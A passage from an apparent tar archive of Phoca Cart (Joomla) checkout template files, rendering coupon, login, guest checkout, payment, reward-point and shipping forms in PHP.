echo '</div>';
echo '<div class="ph-cb"></div>';
if ($this->t['enable_captcha_checkout']) {
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row">';
echo '<div class="control-group">';
echo '<div class="control-label">';
echo '<label id="jform_question_captcha-lbl"
for="jform_question_captcha" class="hasPopover
required" title=""
data-content="'.JText::_('COM_PHOCACART_PLEASE_PROVE_THAT_YOU_ARE_HUMAN').'"
data-original-title="'.JText::_('COM_PHOCACART_SECURITY_CHECK').'">'.JText::_('COM_PHOCACART_SECURITY_CHECK').'<span
class="star"> *</span></label>';
echo '</div>';
echo '<div
class="controls">'.PhocacartCaptchaRecaptcha::render().'</div>';
echo '</div>';// end group
echo '</div>';// end col
echo '<div class="ph-cb"></div>';
}
echo '<div
class="ph-checkout-confirm-box-row-checkboxes">';
if ($this->t['display_checkout_toc_checkbox'] > 0) {
$d = array();
$d['s'] = $this->s;
$d['label_text'] =
$this->t['terms_conditions_label_text'];
$d['id'] = 'phCheckoutConfirmTermsConditions';
$d['name'] = 'phcheckouttac';
$d['class'] = 'ph-pull-right checkbox
ph-checkout-checkbox-confirm';
$d['display'] =
$this->t['display_checkout_toc_checkbox'];
echo '<div class="ph-cb"></div>';
echo $layoutPC->render($d);
}
if ($this->t['display_checkout_privacy_checkbox'] > 0) {
$d = array();
$d['s'] = $this->s;
$d['label_text'] =
$this->t['checkout_privacy_checkbox_label_text'];
$d['id'] = 'phCheckoutPrivacyCheckbox';
$d['name'] = 'privacy';
$d['class'] = 'ph-pull-right checkbox
ph-checkout-checkbox-confirm';
$d['display'] =
$this->t['display_checkout_privacy_checkbox'];
echo '<div class="ph-cb"></div>';
echo $layoutPC->render($d);
}
if ($this->t['display_checkout_newsletter_checkbox'] > 0)
{
$d = array();
$d['s'] = $this->s;
$d['label_text'] =
$this->t['checkout_newsletter_checkbox_label_text'];
$d['id'] = 'phCheckoutNewsletterCheckbox';
$d['name'] = 'newsletter';
$d['class'] = 'ph-pull-right checkbox
ph-checkout-checkbox-confirm';
$d['display'] =
$this->t['display_checkout_newsletter_checkbox'];
echo '<div class="ph-cb"></div>';
echo $layoutNC->render($d);
}
echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-confirm">';
echo '<button
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['ok'].'"></span>
'.$this->t['confirm_order_text'].'</button>';
echo '</div>';
echo '<div class="ph-cb"></div>';
echo '</div>';// end
echo '</div>'."\n";// end
ph-checkout-box-action-raw
echo '<input type="hidden" name="task"
value="checkout.order" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
echo '</div>';// end ph-checkout-confirm-box-row
}
} else {
}
?>
checkout/tmpl/default_coupon.php000064400000004727151165726750013076
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if ($this->t['enable_coupons'] > 0 &&
!$this->t['cartempty']) {
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-apply-coupon">';
echo '<div class="' .
$this->s['c']['col.xs12.sm12.md12'] .
'">';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post" class="form-inline
'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutCoupon">';
echo '<div class="' .
$this->s['c']['form-group'] .
'">';
if ($this->t['couponcodevalue'] != '') {
// REMOVE COUPON
echo '<input type="hidden" name="phcoupon"
value="" />'. "\n";
// Make the following input only a design input without name and value -
the value for removing is set as empty in hidden field
// name="phcouponremove" is abstract - not used, named to be
ignored when saving form but displayed including the coupon code
echo '<input
class="'.$this->s['c']['form-control'].'
ph-input-sm ph-input-apply-coupon" type="text"
name="phcouponremove" id="phcoupon" value="'
. $this->t['couponcodevalue'] . '" >';
echo '<button class="' .
$this->s['c']['btn.btn-primary'] . '
ph-btn"><span class="' .
$this->s['i']['remove'] .
'"></span> ' .
JText::_('COM_PHOCACART_REMOVE_COUPON') .
'</button>';
} else {
// ADD COUPON
echo '<input
class="'.$this->s['c']['form-control'].'
ph-input-sm ph-input-apply-coupon" type="text"
name="phcoupon" id="phcoupon" value="' .
$this->t['couponcodevalue'] . '" >';
echo '<button class="' .
$this->s['c']['btn.btn-primary'] . '
ph-btn"><span class="' .
$this->s['i']['save'] .
'"></span> ' .
JText::_('COM_PHOCACART_APPLY_COUPON') .
'</button>';
}
echo '<input type="hidden" name="task"
value="checkout.savecoupon" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
echo '</div>';
echo '</div>';
echo '</div>' . "\n";// end box action
}
?>
checkout/tmpl/default_login.php000064400000012331151165726750012671
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('icon_checkout_status', null,
array('component' => 'com_phocacart'));
$layoutUL = new JLayoutFile('user_login', null,
array('component' => 'com_phocacart'));
$layoutUR = new JLayoutFile('user_register', null,
array('component' => 'com_phocacart'));
$d = array();
$d['s'] = $this->s;
$d['suffix'] = $this->t['icon_suffix'];
$d['number'] = $this->t['nl'];
$d['type'] = $this->t['checkout_icon_status'];
if($this->a->login == 0) {
$d['status'] = 'pending';
/*require_once
JPATH_SITE.'/components/com_users/helpers/route.php';
jimport( 'joomla.application.module.helper' );
$module = JModuleHelper::getModule('mod_login');
$mP = new JRegistry();
$mP->loadString($module->params);*/
$lang = JFactory::getLanguage();
$lang->load('mod_login');
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutloginedit">'.$layoutI->render($d).'<h3>'.$this->t['nl'].'.
'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-right-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUL->render($d);
echo '</div>'. "\n";// end
checkout_login_row_item_login
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-left-border">';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUR->render($d);
if ($this->t['guest_checkout'] == 1) {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_GUEST_CHECKOUT').'</div>'.
"\n";
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddGuest">';
echo '<button type="submit" tabindex="0"
name="Submit"
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn ph-checkout-btn-login"><span
class="'.$this->s['i']['user'].'"></span>
'. JText::_('COM_PHOCACART_GUEST_CHECKOUT')
.'</button>'. "\n";
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="task"
value="checkout.setguest" />'. "\n";
echo '<input type="hidden" name="id"
value="1" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
}
echo '</div>'. "\n";// end
checkout_login_row_item_register
echo '</div>'. "\n";// ph-checkout-box-action
} else if($this->a->login == 1) {
$d['status'] = 'finished';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutloginview">'.$layoutI->render($d).'<h3>'.$this->t['nl'].'.
'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo
'<div>'.JText::_('COM_PHOCACART_YOU_ARE_LOGGED_IN_AS').'
<b>'.$this->u->name.'</b></div>';
echo '</div>';
echo '</div>';
} else if($this->a->login == 2) {
$d['status'] = 'finished';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header">'.$layoutI->render($d).'<h3>'.$this->t['nl'].'.
'.JText::_('COM_PHOCACART_GUEST_CHECKOUT').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddGuest">';
echo
'<div>'.JText::_('COM_PHOCACART_GUEST_CHECKOUT')
. '</div>';
if ($this->t['guest_checkout'] == 1 &&
$this->t['guest_checkout_auto_enable'] == 1) {
// Automatic guest checkout cannot be cancelled
} else {
echo '<div
class="'.$this->s['c']['pull-right'].'">';
echo '<button type="submit" tabindex="0"
name="Submit"
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn ph-checkout-btn-login"><span
class="'.$this->s['i']['user'].'"></span>
'. JText::_('COM_PHOCACART_CANCEL_GUEST_CHECKOUT')
.'</button>';
echo '</div>'. "\n";
}
//echo '<div class="ph-cb"></div>';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="task"
value="checkout.setguest" />'. "\n";
echo '<input type="hidden" name="id"
value="0" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
echo '</div>';
}
?>
checkout/tmpl/default_payment.php000064400000024310151165726750013236
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('icon_checkout_status', null,
array('component' => 'com_phocacart'));
$d = array();
$d['s'] = $this->s;
$d['suffix'] = $this->t['icon_suffix'];
$d['number'] = $this->t['np'];
$d['type'] = $this->t['checkout_icon_status'];
if ($this->a->paymentnotused == 1) {
// Payment not used
// PAYMENT ADDED
} else if ($this->a->paymentview == 1) {
$d['status'] = 'finished';
// Payment is added and goes to confirm
// ONLY DISPLAY - pamyent method was added and user don't want to
edit it
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutpaymentview">'.$layoutI->render($d).'<h3>'.$this->t['np'].'.
'.JText::_('COM_PHOCACART_PAYMENT_OPTIONS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
// Body
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-payment-row" id="phPaymentMethods" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_PAYMENT_METHODS').'</div>';
echo '</div>';
if (isset($this->t['paymentmethod']) &&
isset($this->t['paymentmethod']['title']) &&
$this->t['paymentmethod']['title'] != '')
{
//echo '<div
class="'.$this->s['c']['row'].'">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">';
if (isset($this->t['paymentmethod']['image'])
&& $this->t['paymentmethod']['image'] !=
'') {
echo '<div class="ph-payment-image"><img
src="'.JURI::base(true) .'/'.
$this->t['paymentmethod']['image'].'"
alt="'.htmlspecialchars(strip_tags($this->t['paymentmethod']['title'])).'"
/></div>';
}
echo '<div
class="ph-payment-title">'.$this->t['paymentmethod']['title'].'</div>';
if ($this->t['display_payment_desc'] &&
$this->t['paymentmethod']['description'] !=
'') {
echo '<div
class="ph-checkout-payment-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$this->t['paymentmethod']['description']).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'">';
if ($this->a->paymentdisplayeditbutton) {
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-payment-edit">';
echo '<button
class="'.$this->s['c']['btn.btn-success.btn-sm'].'
ph-btn"><span class="' .
$this->s['i']['edit'] .
'"></span> ' .
JText::_('COM_PHOCACART_EDIT_PAYMENT') .
'</button>';
echo '</div>';
}
echo '</div>';
//echo '</div>'; // end checkout_payment_row_display
}
//echo '<div class="ph-cb"></div>';
echo '</div>';// end Body
//echo '<div
class="ph-cb"></div>'."\n";// end row
action
//echo '</div>'."\n";// end box action
echo '<input type="hidden" name="paymentedit"
value="1" />';
//echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
//echo '</div>';// end checkout box row
// PAYMENT EDIT
} else if ($this->a->paymentedit == 1) {
$d['status'] = 'pending';
$total = $this->cart->getTotal();
$price = new PhocacartPrice();
// Paymnet is not added or we edit it but payment is added, we can edit
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
// Header
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutpaymentedit">'.$layoutI->render($d).'<h3>'.$this->t['np'].'.
'.JText::_('COM_PHOCACART_PAYMENT_OPTIONS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutPayment">';
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-payment-row" id="phPaymentMethods" >';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_PAYMENT_METHODS').'</div>';
echo '</div>';
//echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-shipping-cost-box">';
foreach($this->t['paymentmethods'] as $k => $v) {
$checked = '';
if (isset($v->selected) && $v->selected == 1 ) {
$checked = 'checked="checked"';
}
$priceI = $price->getPriceItemsPayment($v->cost,
$v->cost_additional, $v->calculation_type, $total[0], $v->taxid,
$v->taxrate, $v->taxcalculationtype, $v->taxtitle, 0, 1);
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
echo '<div class="radio">';
echo '<label><input type="radio"
name="phpaymentopt"
id="phpaymentopt'.$v->id.'"
value="'.$v->id.'" '.$checked.'
>';
if ($v->image != '') {
echo '<span class="ph-payment-image"><img
src="'.JURI::base(true) .'/'. $v->image.'"
alt="'.htmlspecialchars(strip_tags($v->title)).'"
/></span>';
}
echo '<span
class="ph-payment-title">'.$v->title.'</span>';
echo '</label>';
echo '</div>';
if ($this->t['display_payment_desc'] &&
$v->description != '') {
echo '<div
class="ph-checkout-payment-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v->description).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm6.md6'].'">';
echo '<div class="radio">';
echo '<div
class="'.$this->s['c']['row'].'">';
if ($this->t['zero_payment_price'] == 0 &&
$priceI['zero'] == 1) {
// Display blank price field
} else if ($this->t['zero_payment_price'] == 2 &&
$priceI['zero'] == 1) {
// Display free text
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-free-txt"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-free">'.JText::_('COM_PHOCACART_FREE').'</div>';
} else {
if ($priceI['nettoformat'] ==
$priceI['bruttoformat']) {
} else if ($priceI['nettoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-netto-txt">'.$priceI['nettotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-netto">'.$priceI['nettoformat'].'</div>';
}
if ($priceI['taxformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-tax-txt">'.$priceI['taxtxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-tax">'.$priceI['taxformat'].'</div>';
}
if ($priceI['bruttoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-brutto-txt">'.$priceI['bruttotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-brutto">'.$priceI['bruttoformat'].'</div>';
}
if ($priceI['costinfo'] != '') {
// Possible variables:
// $priceI['costinfoprice'] ... raw price without price
additional
// $priceI['costinfopriceadditional'] ... raw additional
price
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-checkout-payment-cost-info-txt"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-right
ph-checkout-payment-cost-info">'.$priceI['costinfo'].'</div>';
}
}
echo '</div>';// end row
echo '</div>';// end radio
echo '</div>';// end row second column
echo '<div class="ph-cb"></div>';
}
//echo '<div class="ph-cb"></div>';
// COUPON CODE
if ($this->t['enable_coupons'] > 0 &&
$this->t['display_apply_coupon_form'] == 1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo
'<label>'.JText::_('COM_PHOCACART_COUPON_CODE').
'
<small>('.JText::_('COM_PHOCACART_APPLY_COUPON_CODE').')</small><br
/><input type="text" name="phcoupon"
id="phcoupon"
value="'.$this->t['couponcodevalue'].'"
></label>';
echo '</div>';
//echo '<div class="ph-cb"></div>';
}
// REWARD POINTS
if ($this->t['rewards']['apply'] &&
$this->t['display_apply_reward_points_form'] == 1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo
'<label>'.JText::_('COM_PHOCACART_REWARD_POINTS').'
'.$this->t['rewards']['text'].'<br
/><input type="text" name="phreward"
id="phreward"
value="'.$this->t['rewards']['usedvalue'].'"
></label>';
echo '</div>';
//echo '<div class="ph-cb"></div>';
}
//echo '</div>';// end payment cost box
//echo '</div>';// end payment row
//echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-payment-save">';
echo '<button
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-btn"><span
class="'.$this->s['i']['save'].'"></span>
'.JText::_('COM_PHOCACART_SAVE').'</button>';
echo '</div>';
echo '</div>';
//echo '<div class="ph-cb"></div>';
echo '</div>'."\n";// end box action
echo '<input type="hidden" name="task"
value="checkout.savepayment" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
// PAYMENT NOT ADDED OR SHIPPING IS EDITED OR ADDRESS IS EDITED
} else {
$d['status'] = 'pending';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header-pas">'.$layoutI->render($d).'<h3>'.$this->t['np'].'.
'.JText::_('COM_PHOCACART_PAYMENT_OPTIONS').'</h3></div>';
echo '</div>';
}
?>
checkout/tmpl/default_proceedpayment.php000064400000000674151165726750014607
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if ($this->a->proceedpayment == 1) {
echo "proceed payment";
// PAYMENT ADDED
}
?>checkout/tmpl/default_rewardpoints.php000064400000004124151165726750014303
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if ($this->t['rewards']['apply'] &&
!$this->t['cartempty']) {
echo '<div id="ph-request-message"
style="display:none"></div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-reward-points">';
echo '<div class="' .
$this->s['c']['col.xs12.sm12.md12'] .
'">';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post" class="form-inline
'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutRewardPoints">';
echo '<div class="' .
$this->s['c']['form-group'] .
'">';
echo '<input
class="'.$this->s['c']['form-control'].'
ph-input-sm ph-input-apply-reward-points" type="text"
name="phreward" id="phreward"
value="'.$this->t['rewards']['usedvalue'].'"
>';
if ($this->t['rewards']['usedvalue'] !=
'') {
echo '<button class="' .
$this->s['c']['btn.btn-primary'] . '
ph-btn"><span class="' .
$this->s['i']['edit'] .
'"></span> ' .
JText::_('COM_PHOCACART_CHANGE_REWARD_POINTS') .
'</button>';
} else {
echo '<button class="' .
$this->s['c']['btn.btn-primary'] . '
ph-btn"><span class="' .
$this->s['i']['save'] .
'"></span> ' .
JText::_('COM_PHOCACART_APPLY_REWARD_POINTS') .
'</button>';
}
echo '<input type="hidden" name="task"
value="checkout.saverewardpoints" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
echo '</div>';
echo '<div class="' .
$this->s['c']['col.xs12.sm12.md12'] .
'">';
echo $this->t['rewards']['text'];
echo '</div>';
echo '</div>';
echo '</div>' . "\n";// end box action
}
?>
checkout/tmpl/default_shipping.php000064400000030500151165726750013400
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\Factory;
defined('_JEXEC') or die();
$layoutI = new JLayoutFile('icon_checkout_status', null,
array('component' => 'com_phocacart'));
$d = array();
$d['s'] = $this->s;
$d['suffix'] = $this->t['icon_suffix'];
$d['number'] = $this->t['ns'];
$d['type'] = $this->t['checkout_icon_status'];
$price = new PhocacartPrice();
if ($this->a->shippingnotused == 1) {
// Shipping not used
// ONLY DISPLAY - shipping method was added and user don't want to
edit it
} else if ($this->a->shippingview) {
$d['status'] = 'finished';
// Header
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-box-header"
id="phcheckoutshippingview">'.$layoutI->render($d).'<h3>'.$this->t['ns'].'.
'.JText::_('COM_PHOCACART_SHIPPING_OPTIONS').'</h3></div>';
echo '</div>';
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form" id="phCheckoutAddress">';
echo '<div id="ph-request-message"
style="display:none"></div>';
// Body
echo '<div
class="'.$this->s['c']['row'].'
ph-checkout-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-checkout-shipping-row" id="phShippingMethods"
>';
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_SHIPPING_METHODS').'</div>';
echo '</div>';
/*foreach($this->t['shippingmethods'] as $k => $v) {
// Display the current one selected
if (isset($this->t['cartitems']['shipping'])
&& (int)$this->t['cartitems']['shipping'] ==
(int)$v->id) {
//$priceI = $price->getPriceItems($v->cost, $v->taxid,
$v->taxrate, $v->taxcalculationtype, $v->taxtitle, 1, 1);
echo '<div class="col-sm-8 col-md-8
">'.$v->title.'</div>';
echo '<div class="col-sm-4 col-md-4">';
/*
if (isset($priceI['netto']) &&
$priceI['netto'] != '' &&
isset($priceI['nettotxt']) &&
$priceI['nettotxt'] != '') {
//echo '<div class="col-sm-6
col-md-6"></div>';
echo '<div class="col-sm-8
col-md-8">'.$priceI['nettotxt'].'</div>';
echo '<div class="col-sm-4 col-md-4
ph-checkout-shipping-netto">'.$priceI['netto'].'</div>';
}
if (isset($priceI['tax']) && $priceI['tax']
!= '' && isset($priceI['taxtxt']) &&
$priceI['taxtxt'] != '') {
//echo '<div class="col-sm-6
col-md-6"></div>';
echo '<div class="col-sm-8
col-md-8">'.$priceI['taxtxt'].'</div>';
echo '<div class="col-sm-4 col-md-4
ph-checkout-shipping-tax">'.$priceI['tax'].'</div>';
}
if (isset($priceI['brutto']) &&
$priceI['brutto'] != '' &&
isset($priceI['bruttotxt']) &&
$priceI['bruttotxt'] != '') {
//echo '<div class="col-sm-6
col-md-6"></div>';
echo '<div class="col-sm-8
col-md-8">'.$priceI['bruttotxt'].'</div>';
echo '<div class="col-sm-4 col-md-4
ph-checkout-shipping-brutto">'.$priceI['brutto'].'</div>';
}*/
/*echo '</div>';
echo '<div
class="ph-cb"> </div>';
}
}
echo '</div>';// end shipping cost box
echo '<div class="ph-cb"></div>';*/
if (isset($this->t['shippingmethod']) &&
isset($this->t['shippingmethod']['title'])
&& $this->t['shippingmethod']['title'] !=
'') {
//echo '<div
class="'.$this->s['c']['row'].'">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">';
if (isset($this->t['shippingmethod']['image'])
&& $this->t['shippingmethod']['image'] !=
'') {
echo '<div class="ph-shipping-image"><img
src="'.JURI::base(true) .'/'.
$this->t['shippingmethod']['image'].'"
alt="'.htmlspecialchars(strip_tags($this->t['shippingmethod']['title'])).'"
/></div>';
}
echo '<div
class="ph-shipping-title">'.$this->t['shippingmethod']['title'].'</div>';
// Event
if (isset($this->t['shippingmethod']['method'])
&& $this->t['shippingmethod']['method'] !=
'') {
JPluginHelper::importPlugin('pcs',
htmlspecialchars(strip_tags($this->t['shippingmethod']['method'])));
$eventData = array();
$eventData['pluginname'] =
htmlspecialchars(strip_tags($this->t['shippingmethod']['method']));
$results =
Factory::getApplication()->triggerEvent('PCSgetShippingBrancheInfo',
array('com_phocacart.checkout',
$this->t['shippingmethod'], $eventData));
if (!empty($results)) {
echo trim(implode("\n", $results));
}
/*
// INSTRUCTINS: test the plugin in event this way:
protected $name = 'plugin_name';
function PCSgetShippingBrancheInfo($context, $shippingMethod,
$eventData) {
if (!isset($eventData['pluginname']) ||
isset($eventData['pluginname']) &&
$eventData['pluginname'] != $this->name) {
return false;
}
}
*/
}
if ($this->t['display_shipping_desc'] &&
$this->t['shippingmethod']['description'] !=
'') {
echo '<div
class="ph-checkout-shipping-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$this->t['shippingmethod']['description']).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'">';
if ($this->a->shippingdisplayeditbutton) {
echo '<div
class="'.$this->s['c']['pull-right'].'
ph-checkout-shipping-edit">';
echo '<button
class="'.$this->s['c']['btn.btn-success.btn-sm'].'
ph-btn"><span class="' .
$this->s['i']['edit'] .
'"></span> ' .
JText::_('COM_PHOCACART_EDIT_SHIPPING') .
'</button>';
echo '</div>';
}
echo '</div>';
//echo '</div>'; // end
checkout_shipping_row_display
}
//echo '<div class="ph-cb"></div>';
echo '</div>';// end Body
//echo '<div
class="ph-cb"></div>'."\n";// end row
action
//echo '</div>'."\n";// end box action
echo '<input type="hidden" name="shippingedit"
value="1" />';
//echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>'. "\n";
//echo '</div>';// end checkout box row
